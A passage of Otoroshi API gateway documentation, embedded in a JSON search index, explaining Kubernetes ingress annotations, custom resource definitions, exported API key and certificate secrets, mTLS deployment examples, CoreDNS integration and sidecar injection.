`ingress.otoroshi.io/redirection.to`\n- `ingress.otoroshi.io/clientValidatorRef`\n- `ingress.otoroshi.io/transformerRefs`\n- `ingress.otoroshi.io/transformerConfig`\n- `ingress.otoroshi.io/accessValidator.enabled`\n- `ingress.otoroshi.io/accessValidator.excludedPatterns`\n- `ingress.otoroshi.io/accessValidator.refs`\n- `ingress.otoroshi.io/accessValidator.config`\n- `ingress.otoroshi.io/preRouting.enabled`\n- `ingress.otoroshi.io/preRouting.excludedPatterns`\n- `ingress.otoroshi.io/preRouting.refs`\n- `ingress.otoroshi.io/preRouting.config`\n- `ingress.otoroshi.io/issueCert`\n- `ingress.otoroshi.io/issueCertCA`\n- `ingress.otoroshi.io/gzip.enabled`\n- `ingress.otoroshi.io/gzip.excludedPatterns`\n- `ingress.otoroshi.io/gzip.whiteList`\n- `ingress.otoroshi.io/gzip.blackList`\n- `ingress.otoroshi.io/gzip.bufferSize`\n- `ingress.otoroshi.io/gzip.chunkedThreshold`\n- `ingress.otoroshi.io/gzip.compressionLevel`\n- `ingress.otoroshi.io/cors.enabled`\n- `ingress.otoroshi.io/cors.allowOrigin`\n- `ingress.otoroshi.io/cors.exposeHeaders`\n- `ingress.otoroshi.io/cors.allowHeaders`\n- `ingress.otoroshi.io/cors.allowMethods`\n- `ingress.otoroshi.io/cors.excludedPatterns`\n- `ingress.otoroshi.io/cors.maxAge`\n- `ingress.otoroshi.io/cors.allowCredentials`\n- `ingress.otoroshi.io/clientConfig.useCircuitBreaker`\n- `ingress.otoroshi.io/clientConfig.retries`\n- `ingress.otoroshi.io/clientConfig.maxErrors`\n- `ingress.otoroshi.io/clientConfig.retryInitialDelay`\n- `ingress.otoroshi.io/clientConfig.backoffFactor`\n- `ingress.otoroshi.io/clientConfig.connectionTimeout`\n- `ingress.otoroshi.io/clientConfig.idleTimeout`\n- `ingress.otoroshi.io/clientConfig.callAndStreamTimeout`\n- `ingress.otoroshi.io/clientConfig.callTimeout`\n- `ingress.otoroshi.io/clientConfig.globalTimeout`\n- `ingress.otoroshi.io/clientConfig.sampleInterval`\n- `ingress.otoroshi.io/enforceSecureCommunication`\n- `ingress.otoroshi.io/sendInfoToken`\n- `ingress.otoroshi.io/sendStateChallenge`\n- `ingress.otoroshi.io/secComHeaders.claimRequestName`\n- `ingress.otoroshi.io/secComHeaders.stateRequestName`\n- `ingress.otoroshi.io/secComHeaders.stateResponseName`\n- `ingress.otoroshi.io/secComTtl`\n- `ingress.otoroshi.io/secComVersion`\n- `ingress.otoroshi.io/secComInfoTokenVersion`\n- `ingress.otoroshi.io/secComExcludedPatterns`\n- `ingress.otoroshi.io/secComSettings.size`\n- `ingress.otoroshi.io/secComSettings.secret`\n- `ingress.otoroshi.io/secComSettings.base64`\n- `ingress.otoroshi.io/secComUseSameAlgo`\n- `ingress.otoroshi.io/secComAlgoChallengeOtoToBack.size`\n- `ingress.otoroshi.io/secComAlgoChallengeOtoToBack.secret`\n- `ingress.otoroshi.io/secComAlgoChallengeOtoToBack.base64`\n- `ingress.otoroshi.io/secComAlgoChallengeBackToOto.size`\n- `ingress.otoroshi.io/secComAlgoChallengeBackToOto.secret`\n- `ingress.otoroshi.io/secComAlgoChallengeBackToOto.base64`\n- `ingress.otoroshi.io/secComAlgoInfoToken.size`\n- `ingress.otoroshi.io/secComAlgoInfoToken.secret`\n- `ingress.otoroshi.io/secComAlgoInfoToken.base64`\n- `ingress.otoroshi.io/securityExcludedPatterns`\n\nfor more informations about it, just go to https://maif.github.io/otoroshi/swagger-ui/index.html\n\nwith the previous example, the ingress does not define any apikey, so the route is public. If you want to enable apikeys on it, you can deploy the following descriptor\n\n```yaml\napiVersion: networking.k8s.io/v1beta1\nkind: Ingress\nmetadata:\n name: http-app-ingress\n annotations:\n kubernetes.io/ingress.class: otoroshi\n ingress.otoroshi.io/group: http-app-group\n ingress.otoroshi.io/forceHttps: 'true'\n ingress.otoroshi.io/sendOtoroshiHeadersBack: 'true'\n ingress.otoroshi.io/overrideHost: 'true'\n ingress.otoroshi.io/allowHttp10: 'false'\n ingress.otoroshi.io/publicPatterns: ''\nspec:\n tls:\n - hosts:\n - httpapp.foo.bar\n secretName: http-app-cert\n rules:\n - host: httpapp.foo.bar\n http:\n paths:\n - path: /\n backend:\n serviceName: http-app-service\n servicePort: 8080\n```\n\nnow you can use an existing apikey in the `http-app-group` to access your app\n\n```sh\ncurl -X GET https://httpapp.foo.bar/get -u existing-apikey-1:secret-1\n```\n\n## Use Otoroshi CRDs for a better/full integration\n\nOtoroshi provides some Custom Resource Definitions for kubernetes in order to manage Otoroshi related entities in kubernetes\n\n- `routes`\n- `backends`\n- `route-compositions`\n- `service-descriptors`\n- `tcp-services`\n- `error-templates`\n- `apikeys`\n- `certificates`\n- `jwt-verifiers`\n- `auth-modules`\n- `admin-sessions`\n- `admins`\n- `auth-module-users`\n- `service-groups`\n- `organizations`\n- `tenants`\n- `teams`\n- `data-exporters`\n- `scripts`\n- `wasm-plugins`\n- `global-configs`\n- `green-scores`\n- `coraza-configs`\n\nusing CRDs, you will be able to deploy and manager those entities from kubectl or the kubernetes api like\n\n```sh\nsudo kubectl get apikeys --all-namespaces\nsudo kubectl get service-descriptors --all-namespaces\ncurl -X GET \\\n -H 'Authorization: Bearer eyJhbGciOiJSUzI....F463SrpOehQRaQ' \\\n -H 'Accept: application/json' -k \\\n https://127.0.0.1:6443/apis/proxy.otoroshi.io/v1/apikeys | jq\n```\n\nYou can see this as better `Ingress` resources. Like any `Ingress` resource can define which controller it uses (using the `kubernetes.io/ingress.class` annotation), you can chose another kind of resource instead of `Ingress`. With Otoroshi CRDs you can even define resources like `Certificate`, `Apikey`, `AuthModules`, `JwtVerifier`, etc. It will help you to use all the power of Otoroshi while using the deployment model of kubernetes.\n \n@@@ warning\nwhen using Otoroshi CRDs, Kubernetes becomes the single source of truth for the synced entities. It means that any value in the descriptors deployed will overrides the one in Otoroshi datastore each time it's synced. So be careful if you use the Otoroshi UI or the API, some changes in configuration may be overriden by CRDs sync job.\n@@@\n\n### Resources examples\n\ngroup.yaml\n: @@snip [group.yaml](../snippets/crds/group.yaml) \n\napikey.yaml\n: @@snip [apikey.yaml](../snippets/crds/apikey.yaml) \n\nservice-descriptor.yaml\n: @@snip [service.yaml](../snippets/crds/service-descriptor.yaml) \n\ncertificate.yaml\n: @@snip [cert.yaml](../snippets/crds/certificate.yaml) \n\njwt.yaml\n: @@snip [jwt.yaml](../snippets/crds/jwt.yaml) \n\nauth.yaml\n: @@snip [auth.yaml](../snippets/crds/auth.yaml) \n\norganization.yaml\n: @@snip [orga.yaml](../snippets/crds/organization.yaml) \n\nteam.yaml\n: @@snip [team.yaml](../snippets/crds/team.yaml) \n\n\n### Configuration\n\nTo configure it, just go to the danger zone, and in `Global scripts` add the job named `Kubernetes Otoroshi CRDs Controller`. Then add the following configuration for the job (with your own tweak of course)\n\n```json\n{\n \"KubernetesConfig\": {\n \"enabled\": true,\n \"crds\": true,\n \"endpoint\": \"https://127.0.0.1:6443\",\n \"token\": \"eyJhbGciOiJSUzI....F463SrpOehQRaQ\",\n \"namespaces\": [\n \"*\"\n ]\n }\n}\n```\n\nthe configuration can have the following values \n\n```javascript\n{\n \"KubernetesConfig\": {\n \"endpoint\": \"https://127.0.0.1:6443\", // the endpoint to talk to the kubernetes api, optional\n \"token\": \"xxxx\", // the bearer token to talk to the kubernetes api, optional\n \"userPassword\": \"user:password\", // the user password tuple to talk to the kubernetes api, optional\n \"caCert\": \"/etc/ca.cert\", // the ca cert file path to talk to the kubernetes api, optional\n \"trust\": false, // trust any cert to talk to the kubernetes api, optional\n \"namespaces\": [\"*\"], // the watched namespaces\n \"labels\": [\"label\"], // the watched namespaces\n \"ingressClasses\": [\"otoroshi\"], // the watched kubernetes.io/ingress.class annotations, can be *\n \"defaultGroup\": \"default\", // the group to put services in otoroshi\n \"ingresses\": false, // sync ingresses\n \"crds\": true, // sync crds\n \"kubeLeader\": false, // delegate leader election to kubernetes, to know where the sync job should run\n \"restartDependantDeployments\": true, // when a secret/cert changes from otoroshi sync, restart dependant deployments\n \"templates\": { // template for entities that will be merged with kubernetes entities. can be \"default\" to use otoroshi default templates\n \"service-group\": {},\n \"service-descriptor\": {},\n \"apikeys\": {},\n \"global-config\": {},\n \"jwt-verifier\": {},\n \"tcp-service\": {},\n \"certificate\": {},\n \"auth-module\": {},\n \"data-exporter\": {},\n \"script\": {},\n \"organization\": {},\n \"team\": {},\n \"data-exporter\": {}\n }\n }\n}\n```\n\nIf `endpoint` is not defined, Otoroshi will try to get it from `$KUBERNETES_SERVICE_HOST` and `$KUBERNETES_SERVICE_PORT`.\nIf `token` is not defined, Otoroshi will try to get it from the file at `/var/run/secrets/kubernetes.io/serviceaccount/token`.\nIf `caCert` is not defined, Otoroshi will try to get it from the file at `/var/run/secrets/kubernetes.io/serviceaccount/ca.crt`.\nIf `$KUBECONFIG` is defined, `endpoint`, `token` and `caCert` will be read from the current context of the file referenced by it.\n\nyou can find a more complete example of the configuration object [here](https://github.com/MAIF/otoroshi/blob/master/otoroshi/app/plugins/jobs/kubernetes/config.scala#L134-L163)\n\n### Note about `apikeys` and `certificates` resources\n\nApikeys and Certificates are a little bit different than the other resources. They have ability to be defined without their secret part, but with an export setting so otoroshi will generate the secret parts and export the apikey or the certificate to kubernetes secret. Then any app will be able to mount them as volumes (see the full example below)\n\nIn those resources you can define \n\n```yaml\nexportSecret: true \nsecretName: the-secret-name\n```\n\nand omit `clientSecret` for apikey or `publicKey`, `privateKey` for certificates. For certificate you will have to provide a `csr` for the certificate in order to generate it\n\n```yaml\ncsr:\n issuer: CN=Otoroshi Root\n hosts: \n - httpapp.foo.bar\n - httpapps.foo.bar\n key:\n algo: rsa\n size: 2048\n subject: UID=httpapp-front, O=OtoroshiApps\n client: false\n ca: false\n duration: 31536000000\n signatureAlg: SHA256WithRSAEncryption\n digestAlg: SHA-256\n```\n\nwhen apikeys are exported as kubernetes secrets, they will have the type `otoroshi.io/apikey-secret` with values `clientId` and `clientSecret`\n\n```yaml\napiVersion: v1\nkind: Secret\nmetadata:\n name: apikey-1\ntype: otoroshi.io/apikey-secret\ndata:\n clientId: TG9yZW0gaXBzdW0gZG9sb3Igc2l0IGFtZXQsIGNvbnNlY3RldHVyIGFkaXBpc2NpbmcgZWxpdA==\n clientSecret: TG9yZW0gaXBzdW0gZG9sb3Igc2l0IGFtZXQsIGNvbnNlY3RldHVyIGFkaXBpc2NpbmcgZWxpdA==\n```\n\nwhen certificates are exported as kubernetes secrets, they will have the type `kubernetes.io/tls` with the standard values `tls.crt` (the full cert chain) and `tls.key` (the private key). For more convenience, they will also have a `cert.crt` value containing the actual certificate without the ca chain and `ca-chain.crt` containing the ca chain without the certificate.\n\n```yaml\napiVersion: v1\nkind: Secret\nmetadata:\n name: certificate-1\ntype: kubernetes.io/tls\ndata:\n tls.crt: TG9yZW0gaXBzdW0gZG9sb3Igc2l0IGFtZXQsIGNvbnNlY3RldHVyIGFkaXBpc2NpbmcgZWxpdA==\n tls.key: TG9yZW0gaXBzdW0gZG9sb3Igc2l0IGFtZXQsIGNvbnNlY3RldHVyIGFkaXBpc2NpbmcgZWxpdA==\n cert.crt: TG9yZW0gaXBzdW0gZG9sb3Igc2l0IGFtZXQsIGNvbnNlY3RldHVyIGFkaXBpc2NpbmcgZWxpdA==\n ca-chain.crt: TG9yZW0gaXBzdW0gZG9sb3Igc2l0IGFtZXQsIGNvbnNlY3RldHVyIGFkaXBpc2NpbmcgZWxpdA== \n```\n\n## Full CRD example\n\nthen you can deploy the previous example with better configuration level, and using mtls, apikeys, etc\n\nLet say the app looks like :\n\n```js\nconst fs = require('fs'); \nconst https = require('https'); \n\n// here we read the apikey to access http-app-2 from files mounted from secrets\nconst clientId = fs.readFileSync('/var/run/secrets/kubernetes.io/apikeys/clientId').toString('utf8')\nconst clientSecret = fs.readFileSync('/var/run/secrets/kubernetes.io/apikeys/clientSecret').toString('utf8')\n\nconst backendKey = fs.readFileSync('/var/run/secrets/kubernetes.io/certs/backend/tls.key').toString('utf8')\nconst backendCert = fs.readFileSync('/var/run/secrets/kubernetes.io/certs/backend/cert.crt').toString('utf8')\nconst backendCa = fs.readFileSync('/var/run/secrets/kubernetes.io/certs/backend/ca-chain.crt').toString('utf8')\n\nconst clientKey = fs.readFileSync('/var/run/secrets/kubernetes.io/certs/client/tls.key').toString('utf8')\nconst clientCert = fs.readFileSync('/var/run/secrets/kubernetes.io/certs/client/cert.crt').toString('utf8')\nconst clientCa = fs.readFileSync('/var/run/secrets/kubernetes.io/certs/client/ca-chain.crt').toString('utf8')\n\nfunction callApi2() {\n return new Promise((success, failure) => {\n const options = { \n // using the implicit internal name (*.global.otoroshi.mesh) of the other service descriptor passing through otoroshi\n hostname: 'http-app-service-descriptor-2.global.otoroshi.mesh', \n port: 433, \n path: '/', \n method: 'GET',\n headers: {\n 'Accept': 'application/json',\n 'Otoroshi-Client-Id': clientId,\n 'Otoroshi-Client-Secret': clientSecret,\n },\n cert: clientCert,\n key: clientKey,\n ca: clientCa\n }; \n let data = '';\n const req = https.request(options, (res) => { \n res.on('data', (d) => { \n data = data + d.toString('utf8');\n }); \n res.on('end', () => { \n success({ body: JSON.parse(data), res });\n }); \n res.on('error', (e) => { \n failure(e);\n }); \n }); \n req.end();\n })\n}\n\nconst options = { \n key: backendKey, \n cert: backendCert, \n ca: backendCa, \n // we want mtls behavior\n requestCert: true, \n rejectUnauthorized: true\n}; \nhttps.createServer(options, (req, res) => { \n res.writeHead(200, {'Content-Type': 'application/json'});\n callApi2().then(resp => {\n res.write(JSON.stringify{ (\"message\": `Hello to ${req.socket.getPeerCertificate().subject.CN}`, api2: resp.body })); \n });\n}).listen(433);\n```\n\nthen, the descriptors will be :\n\n```yaml\n---\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n name: http-app-deployment\nspec:\n selector:\n matchLabels:\n run: http-app-deployment\n replicas: 1\n template:\n metadata:\n labels:\n run: http-app-deployment\n spec:\n containers:\n - image: foo/http-app\n imagePullPolicy: IfNotPresent\n name: otoroshi\n ports:\n - containerPort: 443\n name: \"https\"\n volumeMounts:\n - name: apikey-volume\n # here you will be able to read apikey from files \n # - /var/run/secrets/kubernetes.io/apikeys/clientId\n # - /var/run/secrets/kubernetes.io/apikeys/clientSecret\n mountPath: \"/var/run/secrets/kubernetes.io/apikeys\"\n readOnly: true\n volumeMounts:\n - name: backend-cert-volume\n # here you will be able to read app cert from files \n # - /var/run/secrets/kubernetes.io/certs/backend/tls.crt\n # - /var/run/secrets/kubernetes.io/certs/backend/tls.key\n mountPath: \"/var/run/secrets/kubernetes.io/certs/backend\"\n readOnly: true\n - name: client-cert-volume\n # here you will be able to read app cert from files \n # - /var/run/secrets/kubernetes.io/certs/client/tls.crt\n # - /var/run/secrets/kubernetes.io/certs/client/tls.key\n mountPath: \"/var/run/secrets/kubernetes.io/certs/client\"\n readOnly: true\n volumes:\n - name: apikey-volume\n secret:\n # here we reference the secret name from apikey http-app-2-apikey-1\n secretName: secret-2\n - name: backend-cert-volume\n secret:\n # here we reference the secret name from cert http-app-certificate-backend\n secretName: http-app-certificate-backend-secret\n - name: client-cert-volume\n secret:\n # here we reference the secret name from cert http-app-certificate-client\n secretName: http-app-certificate-client-secret\n---\napiVersion: v1\nkind: Service\nmetadata:\n name: http-app-service\nspec:\n ports:\n - port: 8443\n targetPort: https\n name: https\n selector:\n run: http-app-deployment\n---\napiVersion: proxy.otoroshi.io/v1\nkind: ServiceGroup\nmetadata:\n name: http-app-group\n annotations:\n otoroshi.io/id: http-app-group\nspec:\n description: a group to hold services about the http-app\n---\napiVersion: proxy.otoroshi.io/v1\nkind: ApiKey\nmetadata:\n name: http-app-apikey-1\n# this apikey can be used to access the app\nspec:\n # a secret name secret-1 will be created by otoroshi and can be used by containers\n exportSecret: true \n secretName: secret-1\n authorizedEntities: \n - group_http-app-group\n---\napiVersion: proxy.otoroshi.io/v1\nkind: ApiKey\nmetadata:\n name: http-app-2-apikey-1\n# this apikey can be used to access another app in a different group\nspec:\n # a secret name secret-1 will be created by otoroshi and can be used by containers\n exportSecret: true \n secretName: secret-2\n authorizedEntities: \n - group_http-app-2-group\n---\napiVersion: proxy.otoroshi.io/v1\nkind: Certificate\nmetadata:\n name: http-app-certificate-frontend\nspec:\n description: certificate for the http-app on otorshi frontend\n autoRenew: true\n csr:\n issuer: CN=Otoroshi Root\n hosts: \n - httpapp.foo.bar\n key:\n algo: rsa\n size: 2048\n subject: UID=httpapp-front, O=OtoroshiApps\n client: false\n ca: false\n duration: 31536000000\n signatureAlg: SHA256WithRSAEncryption\n digestAlg: SHA-256\n---\napiVersion: proxy.otoroshi.io/v1\nkind: Certificate\nmetadata:\n name: http-app-certificate-backend\nspec:\n description: certificate for the http-app deployed on pods\n autoRenew: true\n # a secret name http-app-certificate-backend-secret will be created by otoroshi and can be used by containers\n exportSecret: true \n secretName: http-app-certificate-backend-secret\n csr:\n issuer: CN=Otoroshi Root\n hosts: \n - http-app-service \n key:\n algo: rsa\n size: 2048\n subject: UID=httpapp-back, O=OtoroshiApps\n client: false\n ca: false\n duration: 31536000000\n signatureAlg: SHA256WithRSAEncryption\n digestAlg: SHA-256\n---\napiVersion: proxy.otoroshi.io/v1\nkind: Certificate\nmetadata:\n name: http-app-certificate-client\nspec:\n description: certificate for the http-app\n autoRenew: true\n secretName: http-app-certificate-client-secret\n csr:\n issuer: CN=Otoroshi Root\n key:\n algo: rsa\n size: 2048\n subject: UID=httpapp-client, O=OtoroshiApps\n client: false\n ca: false\n duration: 31536000000\n signatureAlg: SHA256WithRSAEncryption\n digestAlg: SHA-256\n---\napiVersion: proxy.otoroshi.io/v1\nkind: ServiceDescriptor\nmetadata:\n name: http-app-service-descriptor\nspec:\n description: the service descriptor for the http app\n groups: \n - http-app-group\n forceHttps: true\n hosts:\n - httpapp.foo.bar # hostname exposed oustide of the kubernetes cluster\n # - http-app-service-descriptor.global.otoroshi.mesh # implicit internal name inside the kubernetes cluster \n matchingRoot: /\n targets:\n - url: https://http-app-service:8443\n # alternatively, you can use serviceName and servicePort to use pods ip addresses\n # serviceName: http-app-service\n # servicePort: https\n mtlsConfig:\n # use mtls to contact the backend\n mtls: true\n certs: \n # reference the DN for the client cert\n - UID=httpapp-client, O=OtoroshiApps\n trustedCerts: \n # reference the DN for the CA cert \n - CN=Otoroshi Root\n sendOtoroshiHeadersBack: true\n xForwardedHeaders: true\n overrideHost: true\n allowHttp10: false\n publicPatterns:\n - /health\n additionalHeaders:\n x-foo: bar\n# here you can specify everything supported by otoroshi like jwt-verifiers, auth config, etc ... for more informations about it, just go to https://maif.github.io/otoroshi/swagger-ui/index.html\n```\n\nnow with this descriptor deployed, you can access your app with a command like \n\n```sh\nCLIENT_ID=`kubectl get secret secret-1 -o jsonpath=\"{.data.clientId}\" | base64 --decode`\nCLIENT_SECRET=`kubectl get secret secret-1 -o jsonpath=\"{.data.clientSecret}\" | base64 --decode`\ncurl -X GET https://httpapp.foo.bar/get -u \"$CLIENT_ID:$CLIENT_SECRET\"\n```\n\n## Expose Otoroshi to outside world\n\nIf you deploy Otoroshi on a kubernetes cluster, the Otoroshi service is deployed as a loadbalancer (service type: `LoadBalancer`). You'll need to declare in your DNS settings any name that can be routed by otoroshi going to the loadbalancer endpoint (CNAME or ip addresses) of your kubernetes distribution. If you use a managed kubernetes cluster from a cloud provider, it will work seamlessly as they will provide external loadbalancers out of the box. However, if you use a bare metal kubernetes cluster, id doesn't come with support for external loadbalancers (service of type `LoadBalancer`). So you will have to provide this feature in order to route external TCP traffic to Otoroshi containers running inside the kubernetes cluster. You can use projects like [MetalLB](https://metallb.universe.tf/) that provide software `LoadBalancer` services to bare metal clusters or you can use and customize examples in the installation section.\n\n@@@ warning\nWe don't recommand running Otoroshi behind an existing ingress controller (or something like that) as you will not be able to use features like TCP proxying, TLS, mTLS, etc. Also, this additional layer of reverse proxy will increase call latencies.\n@@@ \n\n## Access a service from inside the k8s cluster\n\n### Using host header overriding\n\nYou can access any service referenced in otoroshi, through otoroshi from inside the kubernetes cluster by using the otoroshi service name (if you use a template based on https://github.com/MAIF/otoroshi/tree/master/kubernetes/base deployed in the otoroshi namespace) and the host header with the service domain like :\n\n```sh\nCLIENT_ID=\"xxx\"\nCLIENT_SECRET=\"xxx\"\ncurl -X GET -H 'Host: httpapp.foo.bar' https://otoroshi-service.otoroshi.svc.cluster.local:8443/get -u \"$CLIENT_ID:$CLIENT_SECRET\"\n```\n\n### Using dedicated services\n\nit's also possible to define services that targets otoroshi deployment (or otoroshi workers deployment) and use then as valid hosts in otoroshi services \n\n```yaml\napiVersion: v1\nkind: Service\nmetadata:\n name: my-awesome-service\nspec:\n selector:\n # run: otoroshi-deployment\n # or in cluster mode\n run: otoroshi-worker-deployment\n ports:\n - port: 8080\n name: \"http\"\n targetPort: \"http\"\n - port: 8443\n name: \"https\"\n targetPort: \"https\"\n```\n\nand access it like\n\n```sh\nCLIENT_ID=\"xxx\"\nCLIENT_SECRET=\"xxx\"\ncurl -X GET https://my-awesome-service.my-namspace.svc.cluster.local:8443/get -u \"$CLIENT_ID:$CLIENT_SECRET\"\n```\n\n### Using coredns integration\n\nYou can also enable the coredns integration to simplify the flow. You can use the the following keys in the plugin config :\n\n```javascript\n{\n \"KubernetesConfig\": {\n ...\n \"coreDnsIntegration\": true, // enable coredns integration for intra cluster calls\n \"kubeSystemNamespace\": \"kube-system\", // the namespace where coredns is deployed\n \"corednsConfigMap\": \"coredns\", // the name of the coredns configmap\n \"otoroshiServiceName\": \"otoroshi-service\", // the name of the otoroshi service, could be otoroshi-workers-service\n \"otoroshiNamespace\": \"otoroshi\", // the namespace where otoroshi is deployed\n \"clusterDomain\": \"cluster.local\", // the domain for cluster services\n ...\n }\n}\n```\n\notoroshi will patch coredns config at startup then you can call your services like\n\n```sh\nCLIENT_ID=\"xxx\"\nCLIENT_SECRET=\"xxx\"\ncurl -X GET https://my-awesome-service.my-awesome-service-namespace.otoroshi.mesh:8443/get -u \"$CLIENT_ID:$CLIENT_SECRET\"\n```\n\nBy default, all services created from CRDs service descriptors are exposed as `${service-name}.${service-namespace}.otoroshi.mesh` or `${service-name}.${service-namespace}.svc.otoroshi.local`\n\n### Using coredns with manual patching\n\nyou can also patch the coredns config manually\n\n```sh\nkubectl edit configmaps coredns -n kube-system # or your own custom config map\n```\n\nand change the `Corefile` data to add the following snippet in at the end of the file\n\n```yaml\notoroshi.mesh:53 {\n errors\n health\n ready\n kubernetes cluster.local in-addr.arpa ip6.arpa {\n pods insecure\n upstream\n fallthrough in-addr.arpa ip6.arpa\n }\n rewrite name regex (.*)\\.otoroshi\\.mesh otoroshi-worker-service.otoroshi.svc.cluster.local\n forward . /etc/resolv.conf\n cache 30\n loop\n reload\n loadbalance\n}\n```\n\nyou can also define simpler rewrite if it suits you use case better\n\n```\nrewrite name my-service.otoroshi.mesh otoroshi-worker-service.otoroshi.svc.cluster.local\n```\n\ndo not hesitate to change `otoroshi-worker-service.otoroshi` according to your own setup. If otoroshi is not in cluster mode, change it to `otoroshi-service.otoroshi`. If otoroshi is not deployed in the `otoroshi` namespace, change it to `otoroshi-service.the-namespace`, etc.\n\nBy default, all services created from CRDs service descriptors are exposed as `${service-name}.${service-namespace}.otoroshi.mesh`\n\nthen you can call your service like \n\n```sh\nCLIENT_ID=\"xxx\"\nCLIENT_SECRET=\"xxx\"\n\ncurl -X GET https://my-awesome-service.my-awesome-service-namespace.otoroshi.mesh:8443/get -u \"$CLIENT_ID:$CLIENT_SECRET\"\n```\n\n### Using old kube-dns system\n\nif your stuck with an old version of kubernetes, it uses kube-dns that is not supported by otoroshi, so you will have to provide your own coredns deployment and declare it as a stubDomain in the old kube-dns system. \n\nHere is an example of coredns deployment with otoroshi domain config\n\ncoredns.yaml\n: @@snip [coredns.yaml](../snippets/kubernetes/kustomize/base/coredns.yaml)\n\nthen you can enable the kube-dns integration in the otoroshi kubernetes job\n\n```javascript\n{\n \"KubernetesConfig\": {\n ...\n \"kubeDnsOperatorIntegration\": true, // enable kube-dns integration for intra cluster calls\n \"kubeDnsOperatorCoreDnsNamespace\": \"otoroshi\", // namespace where coredns is installed\n \"kubeDnsOperatorCoreDnsName\": \"otoroshi-dns\", // name of the coredns service\n \"kubeDnsOperatorCoreDnsPort\": 5353, // port of the coredns service\n ...\n }\n}\n```\n\n### Using Openshift DNS operator\n\nOpenshift DNS operator does not allow to customize DNS configuration a lot, so you will have to provide your own coredns deployment and declare it as a stub in the Openshift DNS operator. \n\nHere is an example of coredns deployment with otoroshi domain config\n\ncoredns.yaml\n: @@snip [coredns.yaml](../snippets/kubernetes/kustomize/base/coredns.yaml)\n\nthen you can enable the Openshift DNS operator integration in the otoroshi kubernetes job\n\n```javascript\n{\n \"KubernetesConfig\": {\n ...\n \"openshiftDnsOperatorIntegration\": true, // enable openshift dns operator integration for intra cluster calls\n \"openshiftDnsOperatorCoreDnsNamespace\": \"otoroshi\", // namespace where coredns is installed\n \"openshiftDnsOperatorCoreDnsName\": \"otoroshi-dns\", // name of the coredns service\n \"openshiftDnsOperatorCoreDnsPort\": 5353, // port of the coredns service\n ...\n }\n}\n```\n\ndon't forget to update the otoroshi `ClusterRole`\n\n```yaml\n- apiGroups:\n - operator.openshift.io\n resources:\n - dnses\n verbs:\n - get\n - list\n - watch\n - update\n```\n\n## CRD validation in kubectl\n\nIn order to get CRD validation before manifest deployments right inside kubectl, you can deploy a validation webhook that will do the trick. Also check that you have `otoroshi.plugins.jobs.kubernetes.KubernetesAdmissionWebhookCRDValidator` request sink enabled.\n\nvalidation-webhook.yaml\n: @@snip [validation-webhook.yaml](../snippets/kubernetes/kustomize/base/validation-webhook.yaml)\n\n## Easier integration with otoroshi-sidecar\n\nOtoroshi can help you to easily use existing services without modifications while gettings all the perks of otoroshi like apikeys, mTLS, exchange protocol, etc. To do so, otoroshi will inject a sidecar container in the pod of your deployment that will handle call coming from otoroshi and going to otoroshi. To enable otoroshi-sidecar, you need to deploy the following admission webhook. Also check that you have `otoroshi.plugins.jobs.kubernetes.KubernetesAdmissionWebhookSidecarInjector` request sink enabled.\n\nsidecar-webhook.yaml\n: @@snip [sidecar-webhook.yaml](../snippets/kubernetes/kustomize/base/sidecar-webhook.yaml)\n\nthen it's quite easy to add the sidecar, just add the following label to your pod `otoroshi.io/sidecar: inject` and some annotations to tell otoroshi what certificates and apikeys to use.\n\n```yaml\nannotations:\n otoroshi.io/sidecar-apikey: backend-apikey\n otoroshi.io/sidecar-backend-cert: backend-cert\n otoroshi.io/sidecar-client-cert: oto-client-cert\n otoroshi.io/token-secret: secret\n otoroshi.io/expected-dn: UID=oto-client-cert, O=OtoroshiApps\n```\n\nnow you can just call you otoroshi handled apis from inside your pod like `curl http://my-service.namespace.otoroshi.mesh/api` without passing any apikey or client certificate and the sidecar will handle everything for you. Same thing for call from otoroshi to your pod, everything will be done in mTLS fashion with apikeys and otoroshi exchange protocol\n\nhere is a full example\n\nsidecar.yaml\n: @@snip [sidecar.yaml](../snippets/kubernetes/kustomize/base/sidecar.yaml)\n\n@@@ warning\nPlease avoid to use port `80` for your pod as it's the default port to access otoroshi from your pod and the call will be redirect to the sidecar via an iptables rule\n@@@\n\n## Daikoku integration\n\nIt is possible to easily integrate daikoku generated apikeys without any human interaction with the actual apikey secret. To do that, create a plan in Daikoku and setup the integration mode to `Automatic`\n\n@@@ div { .centered-img }\n\n@@@\n\nthen when a user subscribe for an apikey, he will only see an integration token\n\n@@@ div { .centered-img }\n\n@@@\n\nthen just create an ApiKey manifest with this token and your good to go \n\n```yaml\napiVersion: proxy.otoroshi.io/v1\nkind: ApiKey\nmetadata:\n name: http-app-2-apikey-3\nspec:\n exportSecret: true \n secretName: secret-3\n daikokuToken: RShQrvINByiuieiaCBwIZfGFgdPu7tIJEN5gdV8N8YeH4RI9ErPYJzkuFyAkZ2xy\n```\n\n" + }, + { + "name": "scaling.md", + "id": "/deploy/scaling.md", + "url": "/deploy/scaling.html", + "title": "Scaling Otoroshi", + "content": "# Scaling Otoroshi\n\n## Using multiple instances with a front load balancer\n\nOtoroshi has been designed to work with multiple instances. If you already have an infrastructure using frontal load balancing, you just have to declare Otoroshi instances as the target of all domain names handled by Otoroshi\n\n## Using master / workers mode of Otoroshi\n\nYou can read everything about it in @ref:[the clustering section](../deploy/clustering.md) of the documentation.\n\n## Using IPVS\n\nYou can use [IPVS](https://en.wikipedia.org/wiki/IP_Virtual_Server) to load balance layer 4 traffic directly from the Linux Kernel to multiple instances of Otoroshi. You can find example of configuration [here](http://www.linuxvirtualserver.org/VS-DRouting.html) \n\n## Using DNS Round Robin\n\nYou can use [DNS round robin technique](https://en.wikipedia.org/wiki/Round-robin_DNS) to declare multiple A records under the domain names handled by Otoroshi.\n\n## Using software L4/L7 load balancers\n\nYou can use software L4 load balancers like NGINX or HAProxy to load balance layer 4 traffic directly from the Linux Kernel to multiple instances of Otoroshi.\n\nNGINX L7\n: @@snip [nginx-http.conf](../snippets/nginx-http.conf) \n\nNGINX L4\n: @@snip [nginx-tcp.conf](../snippets/nginx-tcp.conf) \n\nHA Proxy L7\n: @@snip [haproxy-http.conf](../snippets/haproxy-http.conf) \n\nHA Proxy L4\n: @@snip [haproxy-tcp.conf](../snippets/haproxy-tcp.conf) \n\n## Using a custom TCP load balancer\n\nYou can also use any other TCP load balancer, from a hardware box to a small js file like\n\ntcp-proxy.js\n: @@snip [tcp-proxy.js](../snippets/tcp-proxy.js) \n\ntcp-proxy.rs\n: @@snip [tcp-proxy.rs](../snippets/proxy.rs) \n\n" + }, + { + "name": "dev.md", + "id": "/dev.md", + "url": "/dev.html", + "title": "Developing 